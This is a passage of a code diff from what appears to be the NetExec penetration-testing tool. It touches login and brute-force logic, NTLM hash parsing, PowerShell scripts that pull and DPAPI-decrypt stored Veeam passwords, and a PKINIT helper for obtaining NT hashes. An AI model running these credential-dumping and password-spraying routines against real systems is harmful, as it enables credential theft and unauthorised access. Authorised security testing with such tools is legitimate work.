+            value = random.choice(range(jitter[0], jitter[1]))
+            self.logger.debug(f"Doin' the jitterbug for {value} second(s)")
+            sleep(value)
 
         try:
             self.proto_flow()
         except Exception as e:
-            if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
-                self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
-            # Catching impacket SMB specific exceptions, which should not be imported due to performance reasons
-            elif e.__class__.__name__ in ["NetBIOSTimeout", "NetBIOSError"]:
-                self.logger.error(f"{e.__class__.__name__} on target {target}: {e}")
-            else:
-                self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
-        finally:
-            self.logger.debug(f"Closing connection to: {target}")
-            with contextlib.suppress(Exception):
-                self.conn.close()
-
-    def resolver(self, target):
-        try:
-            return get_host_addr_info(
-                target=target,
-                force_ipv6=self.args.force_ipv6,
-                dns_server=self.args.dns_server,
-                dns_tcp=self.args.dns_tcp,
-                dns_timeout=self.args.dns_timeout
-            )
-        except Exception as e:
-            self.logger.info(f"Error resolving hostname {target}: {e}")
-            return None
+            self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
 
     @staticmethod
     def proto_args(std_parser, module_parser):
@@ -208,16 +138,22 @@ class connection:
     def create_conn_obj(self):
         return
 
-    def disconnect(self):
-        return
-
     def check_if_admin(self):
         return
 
-    def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
+    def kerberos_login(
+        self,
+        domain,
+        username,
+        password="",
+        ntlm_hash="",
+        aesKey="",
+        kdcHost="",
+        useCache=False,
+    ):
         return
 
-    def plaintext_login(self, username, password):
+    def plaintext_login(self, domain, username, password):
         return
 
     def hash_login(self, domain, username, ntlm_hash):
@@ -226,21 +162,16 @@ class connection:
     def proto_flow(self):
         self.logger.debug("Kicking off proto_flow")
         self.proto_logger()
-        if not self.create_conn_obj():
-            self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
-        else:
+        if self.create_conn_obj():
             self.logger.debug("Created connection object")
             self.enum_host_info()
-            self.print_host_info()
-            if self.login() or (self.username == "" and self.password == ""):
+            if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
                 if hasattr(self.args, "module") and self.args.module:
-                    self.load_modules()
                     self.logger.debug("Calling modules")
                     self.call_modules()
                 else:
                     self.logger.debug("Calling command arguments")
                     self.call_cmd_args()
-            self.disconnect()
 
     def call_cmd_args(self):
         """Calls all the methods specified by the command line arguments
@@ -269,7 +200,7 @@ class connection:
         It iterates over the modules specified in the command line arguments.
         For each module, it loads the module and creates a context object, then calls functions based on the module's attributes.
         """
-        for module in self.modules:
+        for module in self.module:
             self.logger.debug(f"Loading module {module.name} - {module}")
             module_logger = NXCAdapter(
                 extra={
@@ -386,7 +317,7 @@ class connection:
             if isfile(user):
                 with open(user) as user_file:
                     for line in user_file:
-                        if "\\" in line and len(line.split("\\")) == 2:
+                        if "\\" in line:
                             domain_single, username_single = line.split("\\")
                         else:
                             domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
@@ -425,22 +356,12 @@ class connection:
             for ntlm_hash in self.args.hash:
                 if isfile(ntlm_hash):
                     with open(ntlm_hash) as ntlm_hash_file:
-                        for i, line in enumerate(ntlm_hash_file):
-                            line = line.strip()
-                            if len(line) != 32 and len(line) != 65:
-                                self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
-                                continue
-                            else:
-                                secret.append(line)
-                                cred_type.append("hash")
+                        for line in ntlm_hash_file:
+                            secret.append(line.strip())
+                            cred_type.append("hash")
                 else:
-                    if len(ntlm_hash) != 32 and len(ntlm_hash) != 65:
-                        self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
-                        exit(1)
-                    else:
-                        secret.append(ntlm_hash)
-                        cred_type.append("hash")
-            self.logger.debug(secret)
+                    secret.append(ntlm_hash)
+                    cred_type.append("hash")
 
         # Parse AES keys
         if self.args.aesKey:
@@ -463,9 +384,7 @@ class connection:
         return domain, username, owned, secret, cred_type, [None] * len(secret)
 
     def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
-        """
-        Try to login using the specified credentials and protocol.
-        With  --jitter an authentication throttle can be applied.
+        """Try to login using the specified credentials and protocol.
 
         Possible login methods are:
             - plaintext (/kerberos)
@@ -476,21 +395,11 @@ class connection:
             return False
         if self.args.continue_on_success and owned:
             return False
-
-        if self.args.jitter:
-            jitter = self.args.jitter
-            if "-" in jitter:
-                start, end = jitter.split("-")
-                jitter = (int(start), int(end))
-            else:
-                jitter = (0, int(jitter))
-            value = jitter[0] if jitter[0] == jitter[1] else random.choice(range(jitter[0], jitter[1]))
-            self.logger.debug(f"Throttle authentications: sleeping {value} second(s)")
-            sleep(value)
-
+        if hasattr(self.args, "delegate") and self.args.delegate:
+            self.args.kerberos = True
         with sem:
             if cred_type == "plaintext":
-                if self.kerberos:
+                if self.args.kerberos:
                     self.logger.debug("Trying to authenticate using Kerberos")
                     return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
                 elif hasattr(self.args, "domain"):  # Some protocols don't use domain for login
@@ -503,7 +412,7 @@ class connection:
                     self.logger.debug("Trying to authenticate using plaintext")
                     return self.plaintext_login(username, secret)
             elif cred_type == "hash":
-                if self.kerberos:
+                if self.args.kerberos:
                     return self.kerberos_login(domain, username, "", secret, "", self.kdcHost, False)
                 return self.hash_login(domain, username, secret)
             elif cred_type == "aesKey":
@@ -550,21 +459,6 @@ class connection:
                 self.logger.info("Successfully authenticated using Kerberos cache")
                 return True
 
-        if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
-            self.logger.debug("Trying to authenticate using Certificate pfx")
-            if not self.args.username:
-                self.logger.fail("You must specify a username when using certificate authentication")
-                return False
-            with sem:
-                return pfx_auth(self)
-
-        if hasattr(self.args, "laps") and self.args.laps:
-            self.logger.debug("Trying to authenticate using LAPS")
-            username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
-            cred_type = ["plaintext"]
-            if not (username[0] or secret[0] or domain[0]):
-                return False
-
         if not self.args.no_bruteforce:
             for secr_index, secr in enumerate(secret):
                 for user_index, user in enumerate(username):
@@ -584,12 +478,3 @@ class connection:
 
     def mark_pwned(self):
         return highlight(f"({pwned_label})" if self.admin_privs else "")
-
-    def load_modules(self):
-        self.logger.info(f"Loading modules for target: {self.host}")
-        loader = ModuleLoader(self.args, self.db, self.logger)
-        self.modules = []
-
-        for module_path in self.module_paths:
-            module = loader.init_module(module_path)
-            self.modules.append(module)

nxc/data/nxc.conf

@@ -13,7 +13,7 @@ bh_enabled = False
 bh_uri = 127.0.0.1
 bh_port = 7687
 bh_user = neo4j
-bh_pass = bloodhoundcommunityedition
+bh_pass = neo4j
 
 [Empire]
 api_host = 127.0.0.1

nxc/data/veeam_dump_module/veeam_dump_mssql.ps1

@@ -1,10 +1,9 @@
 $SqlDatabaseName = "REPLACE_ME_SqlDatabase"
 $SqlServerName = "REPLACE_ME_SqlServer"
 $SqlInstanceName = "REPLACE_ME_SqlInstance"
-$b64Salt = "REPLACE_ME_b64Salt"
 
 #Forming the connection string
-$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
+$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
 $auth = "Integrated Security=SSPI;" #Local user
 $connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
 $connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
@@ -23,46 +22,19 @@ catch {
 	exit -1
 }
 
-$output=($dataset.Tables | Select-Object -Expand Rows)
-if ($output.count -eq 0) {
+$rows=($dataset.Tables | Select-Object -Expand Rows)
+if ($rows.count -eq 0) {
 	Write-Host "No passwords found!"
 	exit
 }
 
 Add-Type -assembly System.Security
-# Decrypting passwords using DPAPI
-$output | ForEach-Object -Process {
-	$EncryptedPWD = [Convert]::FromBase64String($_.password)
+#Decrypting passwords using DPAPI
+$rows | ForEach-Object -Process {
+	$EnryptedPWD = [Convert]::FromBase64String($_.password)
+	$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
 	$enc = [system.text.encoding]::Default
-
-	try {
-		# Decrypt password with DPAPI (old Veeam versions)
-		$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
-		$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
-	} catch {
-		try{
-			# Decrypt password with salted DPAPI (new Veeam versions)
-			$salt = [System.Convert]::FromBase64String($b64Salt)
-			$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
-			foreach ($byte in $EncryptedPWD)
-			{
-				$hex.AppendFormat("{0:x2}", $byte) > $null
-			}
-			$hex = $hex.ToString().Substring(74,$hex.Length-74)
-			$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
-			for ($i = 0; $i -lt $hex.Length; $i += 2)
-			{
-				$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
-			}
-			$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
-			$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
-		}catch {
-			$pw_string = "COULD_NOT_DECRYPT"
-		}
-	}
-	$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
-	$_.password = $pw_string
-	$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
+	$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
 }
 
-Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
+Write-Output $rows | Format-Table -HideTableHeaders | Out-String

nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1

@@ -1,9 +1,8 @@
 $PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
 $PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
 $SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
-$b64Salt = "REPLACE_ME_b64Salt"
 
-$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description  FROM credentials WHERE password != '';"
+$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
 $output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
 
 if ($output.count -eq 0) {
@@ -11,40 +10,13 @@ if ($output.count -eq 0) {
 	exit
 }
 
-# Decrypting passwords using DPAPI
 Add-Type -assembly System.Security
+#Decrypting passwords using DPAPI
 $output | ForEach-Object -Process {
-	$EncryptedPWD = [Convert]::FromBase64String($_.password)
+    $EnryptedPWD = [Convert]::FromBase64String($_.password)
+	$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
 	$enc = [system.text.encoding]::Default
-
-	try {
-		# Decrypt password with DPAPI (old Veeam versions)
-		$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
-		$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
-	} catch {
-		try{
-			# Decrypt password with salted DPAPI (new Veeam versions)
-			$salt = [System.Convert]::FromBase64String($b64Salt)
-			$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
-			foreach ($byte in $EncryptedPWD)
-			{
-				$hex.AppendFormat("{0:x2}", $byte) > $null
-			}
-			$hex = $hex.ToString().Substring(74,$hex.Length-74)
-			$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
-			for ($i = 0; $i -lt $hex.Length; $i += 2)
-			{
-				$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
-			}
-			$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
-			$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
-		}catch {
-			$pw_string = "COULD_NOT_DECRYPT"
-		}
-	}
-	$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
-	$_.password = $pw_string
-	$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
+	$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
 }
 
-Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
+Write-Output $output | Format-Table -HideTableHeaders | Out-String

nxc/database.py

@@ -1,177 +0,0 @@
-import configparser
-import ipaddress
-import shutil
-import sys
-from os import mkdir
-from os.path import exists
-from os.path import join as path_join
-from pathlib import Path
-from sqlite3 import connect
-from threading import Lock
-
-from sqlalchemy import create_engine, MetaData, func
-from sqlalchemy.exc import IllegalStateChangeError
-from sqlalchemy.orm import sessionmaker, scoped_session
-
-from nxc.loaders.protocolloader import ProtocolLoader
-from nxc.logger import nxc_logger
-from nxc.paths import WORKSPACE_DIR
-
-
-def create_db_engine(db_path):
-    return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
-
-
-def open_config(config_path):
-    try:
-        config = configparser.ConfigParser()
-        config.read(config_path)
-    except Exception as e:
-        print(f"[-] Error reading nxc.conf: {e}")
-        sys.exit(1)
-    return config
-
-
-def get_workspace(config):
-    return config.get("nxc", "workspace")
-
-
-def set_workspace(config_path, workspace_name):
-    config = open_config(config_path)
-    config.set("nxc", "workspace", workspace_name)
-    write_configfile(config, config_path)
-    print(f"[*] Workspace set to {workspace_name}")
-
-
-def get_db(config):
-    return config.get("nxc", "last_used_db")
-
-
-def write_configfile(config, config_path):
-    with open(config_path, "w") as configfile:
-        config.write(configfile)
-
-
-def init_protocol_dbs(workspace_name, p_loader=None):
-    """Check for each protocol if the database exists, if not create it."""
-    if p_loader is None:
-        p_loader = ProtocolLoader()
-    protocols = p_loader.get_protocols()
-
-    for protocol in protocols:
-        protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
-        proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
-
-        if not exists(proto_db_path):
-            print(f"[*] Initializing {protocol.upper()} protocol database")
-            conn = connect(proto_db_path)
-            c = conn.cursor()
-
-            # try to prevent some weird sqlite I/O errors
-            c.execute("PRAGMA journal_mode = OFF")
-            c.execute("PRAGMA foreign_keys = 1")
-
-            protocol_object.database.db_schema(c)
-
-            # commit the changes and close everything off
-            conn.commit()
-            conn.close()
-
-
-def create_workspace(workspace_name, p_loader=None):
-    """
-    Create a new workspace with the given name.
-
-    Args:
-    ----
-        workspace_name (str): The name of the workspace.
-
-    Returns:
-    -------
-        None
-    """
-    if exists(path_join(WORKSPACE_DIR, workspace_name)):
-        print(f"[-] Workspace {workspace_name} already exists")
-    else:
-        print(f"[*] Creating {workspace_name} workspace")
-        mkdir(path_join(WORKSPACE_DIR, workspace_name))
-
-    init_protocol_dbs(workspace_name, p_loader)
-
-
-def delete_workspace(workspace_name):
-    shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
-    print(f"[*] Workspace {workspace_name} deleted")
-
-
-def initialize_db():
-    if not exists(path_join(WORKSPACE_DIR, "default")):
-        create_workspace("default")
-
-    # Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
-    init_protocol_dbs("default")
-    
-def format_host_query(q, filter_term, HostsTable):
-    """One annoying thing is that if you search for an ip such as '10.10.10.5',
-    it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first
-    """
-    # the FTP and SSH protocols call the column host instead of IP
-    # TODO: normalize these column names
-    if hasattr(HostsTable.c, "ip"):
-        ip_column = HostsTable.c.ip
-        nxc_logger.debug("Using 'ip' column for filtering")
-    elif hasattr(HostsTable.c, "host"):
-        ip_column = HostsTable.c.host
-        nxc_logger.debug("Using 'host' column for filtering")
-    else:
-        nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table")
-        return q
-   
-    # first we check if its an ip address 
-    try:
-        ipaddress.ip_address(filter_term)
-        nxc_logger.debug(f"filter_term is an IP address: {filter_term}")
-        q = q.filter(ip_column == filter_term)
-    except ValueError:
-        nxc_logger.debug(f"filter_term is not an IP address: {filter_term}")
-        like_term = func.lower(f"%{filter_term}%")
-        
-        # check if the hostname column exists for hostname searching
-        q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term))
-
-    return q
-
-class BaseDB:
-    def __init__(self, db_engine):
-        self.db_engine = db_engine
-        self.db_path = self.db_engine.url.database
-        self.protocol = Path(self.db_path).stem.upper()
-        self.metadata = MetaData()
-        self.reflect_tables()
-        session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
-
-        session = scoped_session(session_factory)
-        self.sess = session()
-        self.lock = Lock()
-
-    def reflect_tables(self):
-        raise NotImplementedError("Reflect tables not implemented")
-
-    def shutdown_db(self):
-        try:
-            self.sess.close()
-        # due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
-        # Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
-        # this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
-        except IllegalStateChangeError as e:
-            nxc_logger.debug(f"Error while closing session db object: {e}")
-
-    def clear_database(self):
-        for table in self.metadata.sorted_tables:
-            self.db_execute(table.delete())
-
-    def db_execute(self, *args):
-        self.lock.acquire()
-        res = self.sess.execute(*args)
-        self.lock.release()
-        return res

nxc/first_run.py

@@ -3,7 +3,7 @@ from os.path import exists
 from os.path import join as path_join
 import shutil
 from nxc.paths import NXC_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH
-from nxc.database import initialize_db
+from nxc.nxcdb import initialize_db
 from nxc.logger import nxc_logger
 
 
@@ -29,18 +29,7 @@ def first_run_setup(logger=nxc_logger):
             logger.display(f"Creating missing folder {folder}")
             mkdir(path_join(NXC_PATH, folder))
 
-    log_subfolders = (
-        "sam",
-        "lsa",
-        "ntds",
-        "dpapi",
-    )
-    for subfolder in log_subfolders:
-        if not exists(path_join(NXC_PATH, f"logs/{subfolder}")):
-            logger.display(f"Creating missing folder logs/{subfolder}")
-            mkdir(path_join(NXC_PATH, f"logs/{subfolder}"))
-
-    initialize_db()
+    initialize_db(logger)
 
     if not exists(CONFIG_PATH):
         logger.display("Copying default configuration file")

nxc/helpers/args.py

@@ -1,25 +0,0 @@
-from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
-from argparse import Action
-
-class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
-    def _get_help_string(self, action):
-        help_string = action.help
-        if "%(default)" not in action.help and action.default is not SUPPRESS:
-            defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
-            if (action.option_strings or action.nargs in defaulting_nargs) and action.default:  # Only add default info if it's not None
-                help_string += " (default: %(default)s)"  # NORUFF
-        return help_string
-
-
-class DefaultTrackingAction(Action):
-    def __init__(self, option_strings, dest, default=None, required=False, **kwargs):
-        # Store the default value to check later
-        self.default_value = default
-        super().__init__(
-            option_strings, dest, default=default, required=required, **kwargs
-        )
-
-    def __call__(self, parser, namespace, values, option_string=None):
-        # Set an attribute to track whether the value was explicitly set
-        setattr(namespace, self.dest, values)
-        setattr(namespace, f"{self.dest}_explicitly_set", True)

nxc/helpers/bloodhound.py

@@ -52,12 +52,14 @@ def add_user_bh(user, domain, logger, config):
                         _add_with_domain(user_info, domain, tx, logger)
         except AuthError:
             logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
+            return
         except ServiceUnavailable:
             logger.fail(f"Neo4J does not seem to be available on {uri}.")
+            return
         except Exception as e:
             logger.fail(f"Unexpected error with Neo4J: {e}")
-        finally:
-            driver.close()
+            return
+        driver.close()
 
 
 def _add_with_domain(user_info, domain, tx, logger):

nxc/helpers/ntlm_parser.py

@@ -1,34 +0,0 @@
-# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
-
-import struct
-
-from impacket import ntlm
-from impacket.smb3 import WIN_VERSIONS
-import contextlib
-
-
-def parse_challenge(challange):
-    target_info = {
-        "hostname": None,
-        "domain": None,
-        "os_version": None
-    }
-    challange = ntlm.NTLMAuthChallenge(challange)
-    av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
-    if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
-        with contextlib.suppress(Exception):
-            target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
-    if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
-        with contextlib.suppress(Exception):
-            target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
-    if "Version" in challange.fields:
-        version = challange["Version"]
-        if len(version) >= 4:
-            major_version = version[0]
-            minor_version = version[1]
-            product_build = struct.unpack("<H", version[2:4])[0]
-            if product_build in WIN_VERSIONS:
-                target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
-            else:
-                target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
-    return target_info

nxc/helpers/pfx.py

@@ -1,538 +0,0 @@
-# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
-#
-# This software is provided under under a slightly modified version
-# of the Apache Software License. See the accompanying LICENSE file
-# for more information.
-#
-# Author:
-#  Alberto Solino (@agsolino)
-#  Dirk-jan Mollema (@_dirkjan)
-#
-# Description:
-#     This script will use an existing TGT to request a PAC for the current user using U2U.
-#     When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
-#     used for silver tickets and for backwards compatibility with other tooling.
-#
-# References:
-#
-#     U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
-#
-# Based on examples from minikerberos by skelsec
-# Parts of this code was inspired by the following project by @rubin_mor
-# https://github.com/morRubin/AzureADJoinedMachinePTC
-#
-# Author:
-#  Tamas Jos (@skelsec)
-#  Dirk-jan Mollema (@_dirkjan)
-#
-
-import os
-import secrets
-import hashlib
-import datetime
-import logging
-import random
-import base64
-
-from binascii import unhexlify, hexlify
-
-from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private
-from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key
-
-from asn1crypto import cms
-from asn1crypto import algos
-from asn1crypto import core
-from asn1crypto import keys
-
-from minikerberos.pkinit import PKINIT, DirtyDH
-from minikerberos.protocol.constants import NAME_TYPE, PaDataType
-from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
-from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, \
-    PA_PAC_REQUEST
-from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
-
-from pyasn1.codec.der import decoder, encoder
-from pyasn1.type.univ import noValue
-
-from impacket.dcerpc.v5.rpcrt import TypeSerialization1
-from impacket.krb5 import constants
-from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
-from impacket.krb5.kerberosv5 import sendReceive
-from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
-    PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
-from impacket.krb5.types import Principal, KerberosTime, Ticket
-
-# Imports for pfx_auth
-from minikerberos.network.clientsocket import KerberosClientSocket
-from minikerberos.common.target import KerberosTarget
-from minikerberos.common.ccache import CCACHE
-
-from impacket.krb5.ccache import CCache as impacket_CCache
-
-from nxc.paths import NXC_PATH
-
-
-class myPKINIT(PKINIT):
-    """
-    Copy of minikerberos PKINIT
-    With some changes where it differs from PKINIT used in NegoEx
-    """
-
-    @staticmethod
-    def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
-        with open(pfxfile, "rb") as f:
-            pfxdata = f.read()
-
-        if b64:
-            pfxdata = base64.b64decode(pfxdata)
-
-        return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
-
-    @staticmethod
-    def from_pfx_data(pfxdata, pfxpass, dh_params=None):
-        pkinit = myPKINIT()
-        # oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead
-        if not pfxpass:
-            from cryptography.hazmat.primitives.serialization import pkcs12
-            from cryptography.hazmat.primitives import serialization
-            privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None)
-            pem_key = privkey.private_bytes(
-                encoding=serialization.Encoding.PEM,
-                format=serialization.PrivateFormat.TraditionalOpenSSL,
-                encryption_algorithm=serialization.NoEncryption(),
-            )
-            pkinit.privkey = load_private_key(parse_private(pem_key))
-            pem_cert = cert.public_bytes(
-                encoding=serialization.Encoding.PEM
-            )
-            pkinit.certificate = parse_certificate(pem_cert)
-        else:
-            if isinstance(pfxpass, str):
-                pfxpass = pfxpass.encode()
-            pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass)
-            pkinit.privkey = load_private_key(pkinit.privkeyinfo)
-        pkinit.setup(dh_params=dh_params)
-        return pkinit
-
-    @staticmethod
-    def from_pem(certfile, privkeyfile, dh_params=None):
-        pkinit = myPKINIT()
-        with open(certfile, "rb") as f:
-            pkinit.certificate = parse_certificate(f.read())
-        with open(privkeyfile, "rb") as f:
-            pkinit.privkey = load_private_key(parse_private(f.read()))
-        pkinit.setup(dh_params=dh_params)
-        return pkinit
-
-    def sign_authpack(self, data, wrap_signed=False):
-        return self.sign_authpack_native(data, wrap_signed)
-
-    def setup(self, dh_params=None):
-        self.issuer = self.certificate.issuer.native["common_name"]
-        if dh_params is None:
-            print("Generating DH params...")
-            print("DH params generated.")
-        else:
-            if isinstance(dh_params, dict):
-                self.diffie = DirtyDH.from_dict(dh_params)
-            elif isinstance(dh_params, bytes):
-                self.diffie = DirtyDH.from_asn1(dh_params)
-            elif isinstance(dh_params, DirtyDH):
-                self.diffie = dh_params
-            else:
-                raise Exception("DH params must be either a bytearray or a dict")
-
-    def build_asreq(self, domain=None, cname=None, kdcopts=None):
-        if kdcopts is None:
-            kdcopts = ["forwardable", "renewable", "renewable-ok"]
-        if isinstance(kdcopts, list):
-            kdcopts = set(kdcopts)
-        if cname is not None:
-            if isinstance(cname, str):
-                cname = [cname]
-        else:
-            cname = [self.cname]
-
-        now = datetime.datetime.now(datetime.timezone.utc)
-
-        kdc_req_body_data = {}
-        kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
-        kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
-        kdc_req_body_data["realm"] = domain.upper()
-        kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
-        kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
-        kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
-        kdc_req_body_data["nonce"] = secrets.randbits(31)
-        kdc_req_body_data["etype"] = [18, 17]  # 23 breaks...
-        kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
-
-        checksum = hashlib.sha1(kdc_req_body.dump()).digest()
-
-        authenticator = {}
-        authenticator["cusec"] = now.microsecond
-        authenticator["ctime"] = now.replace(microsecond=0)
-        authenticator["nonce"] = secrets.randbits(31)
-        authenticator["paChecksum"] = checksum
-
-        dp = {}
-        dp["p"] = self.diffie.p
-        dp["g"] = self.diffie.g
-        dp["q"] = 0  # mandatory parameter, but it is not needed
-
-        pka = {}
-        pka["algorithm"] = "1.2.840.10046.2.1"
-        pka["parameters"] = keys.DomainParameters(dp)
-
-        spki = {}
-        spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
-        spki["public_key"] = self.diffie.get_public_key()
-
-        authpack = {}
-        authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
-        authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
-        authpack["clientDHNonce"] = self.diffie.dh_nonce
-
-        authpack = AuthPack(authpack)
-        signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
-
-        payload = PA_PK_AS_REQ()
-        payload["signedAuthPack"] = signed_authpack
-
-        pa_data_1 = {}
-        pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
-        pa_data_1["padata-value"] = payload.dump()
-
-        pa_data_0 = {}
-        pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
-        pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
-
-        asreq = {}
-        asreq["pvno"] = 5
-        asreq["msg-type"] = 10
-        asreq["padata"] = [pa_data_0, pa_data_1]
-        asreq["req-body"] = kdc_req_body
-
-        return AS_REQ(asreq).dump()
-
-    def sign_authpack_native(self, data, wrap_signed=False):
-        """
-        Creating PKCS7 blob which contains the following things:
-
